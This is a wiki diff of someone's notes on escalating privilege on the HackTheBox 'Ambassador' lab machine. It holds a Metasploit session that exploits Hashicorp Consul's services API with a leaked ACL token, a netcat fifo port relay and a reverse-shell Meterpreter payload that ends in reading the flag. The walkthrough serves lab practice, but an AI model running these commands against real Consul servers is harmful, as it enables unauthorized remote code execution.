ex:htb:ambassador:privesc_consul
Differences
This shows you the differences between two versions of the page.
Both sides previous revisionPrevious revision | |||
ex:htb:ambassador:privesc_consul [2022/12/30 10:32] – ebaer | ex:htb:ambassador:privesc_consul [2022/12/30 13:43] (current) – ebaer | ||
---|---|---|---|
Line 51: | Line 51: | ||
< | < | ||
sshpass -p ' | sshpass -p ' | ||
+ | |||
+ | |||
+ | </ | ||
+ | |||
+ | < | ||
+ | curl http:// | ||
+ | Consul Agent: UI disabled. To enable, set ui_config.enabled=true in the agent configuration and restart. | ||
+ | |||
+ | </ | ||
+ | |||
+ | < | ||
+ | |||
+ | |||
+ | msf6 > use exploit/ | ||
+ | [*] Using configured payload linux/ | ||
+ | msf6 exploit(multi/ | ||
+ | |||
+ | Name: Hashicorp Consul Remote Command Execution via Services API | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | License: Metasploit Framework License (BSD) | ||
+ | Rank: Excellent | ||
+ | Disclosed: 2018-08-11 | ||
+ | |||
+ | Provided by: | ||
+ | Bharadwaj Machiraju < | ||
+ | Francis Alexander < | ||
+ | Quentin Kaiser < | ||
+ | Matthew Lucas < | ||
+ | |||
+ | Available targets: | ||
+ | Id Name | ||
+ | -- ---- | ||
+ | 0 Linux | ||
+ | 1 | ||
+ | |||
+ | Check supported: | ||
+ | Yes | ||
+ | |||
+ | Basic options: | ||
+ | Name | ||
+ | ---- | ||
+ | ACL_TOKEN | ||
+ | Proxies | ||
+ | RHOSTS | ||
+ | RPORT 8500 | ||
+ | SRVHOST | ||
+ | SRVPORT | ||
+ | SSL false no Negotiate SSL/TLS for outgoing connections | ||
+ | SSLCert | ||
+ | TARGETURI | ||
+ | URIPATH | ||
+ | VHOST | ||
+ | |||
+ | Payload information: | ||
+ | |||
+ | Description: | ||
+ | This module exploits Hashicorp Consul' | ||
+ | command execution on Consul nodes. | ||
+ | |||
+ | References: | ||
+ | https:// | ||
+ | https:// | ||
+ | |||
+ | |||
+ | View the full module info with the info -d command. | ||
+ | |||
+ | msf6 exploit(multi/ | ||
+ | rhosts => 10.129.228.56 | ||
+ | msf6 exploit(multi/ | ||
+ | lhost => 10.10.14.49 | ||
+ | msf6 exploit(multi/ | ||
+ | proxies => socks5: | ||
+ | msf6 exploit(multi/ | ||
+ | acl_token => bb03b43b-1d81-d62b-24b5-39540ee469b5 | ||
+ | msf6 exploit(multi/ | ||
+ | payload => linux/ | ||
+ | |||
+ | msf6 exploit(multi/ | ||
+ | |||
+ | [-] Exploit failed: RuntimeError TCP connect-back payloads cannot be used with Proxies. Use 'set ReverseAllowProxy true' to override this behaviour. | ||
+ | [*] Exploit completed, but no session was created. | ||
+ | msf6 exploit(multi/ | ||
+ | ReverseAllowProxy => true | ||
+ | msf6 exploit(multi/ | ||
+ | |||
+ | [*] Started reverse TCP handler on 10.10.14.49: | ||
+ | [*] Creating service ' | ||
+ | NOTE: Rex:: | ||
+ | [-] Exploit aborted due to failure: unexpected-reply: | ||
+ | [*] Exploit completed, but no session was created. | ||
+ | msf6 exploit(multi/ | ||
+ | |||
+ | |||
+ | |||
+ | |||
+ | </ | ||
+ | |||
+ | < | ||
+ | sshpass -p ' | ||
+ | |||
+ | </ | ||
+ | |||
+ | |||
+ | <note important> | ||
+ | |||
+ | |||
+ | ===== Succesful attempt ===== | ||
+ | |||
+ | <code bash> | ||
+ | |||
+ | sshpass -p ' | ||
+ | |||
+ | nc -lp 8001 < fifo | nc 127.0.0.1 8500 > fifo | ||
+ | |||
+ | </ | ||
+ | |||
+ | |||
+ | <code bash> | ||
+ | |||
+ | |||
+ | [*] Starting persistent handler(s)... | ||
+ | msf6 > use exploit/ | ||
+ | [*] Using configured payload linux/ | ||
+ | msf6 exploit(multi/ | ||
+ | rport => 8001 | ||
+ | msf6 exploit(multi/ | ||
+ | lhost => 10.10.14.49 | ||
+ | msf6 exploit(multi/ | ||
+ | acl_token => bb03b43b-1d81-d62b-24b5-39540ee469b5 | ||
+ | msf6 exploit(multi/ | ||
+ | rhosts => 10.129.228.56 | ||
+ | msf6 exploit(multi/ | ||
+ | |||
+ | [*] Started reverse TCP handler on 10.10.14.49: | ||
+ | [*] Creating service ' | ||
+ | [*] Service ' | ||
+ | [*] Waiting for service ' | ||
+ | [*] Sending stage (1017704 bytes) to 10.129.228.56 | ||
+ | [*] Meterpreter session 1 opened (10.10.14.49: | ||
+ | [*] Removing service ' | ||
+ | [*] Command Stager progress - 100.00% done (763/763 bytes) | ||
+ | |||
+ | meterpreter > | ||
+ | |||
+ | meterpreter > cat / | ||
+ | d52a6926727927f8ce2483977406b7e1 | ||
</ | </ |
ex/htb/ambassador/privesc_consul.1672392759.txt.gz · Last modified: 2022/12/30 10:32 by ebaer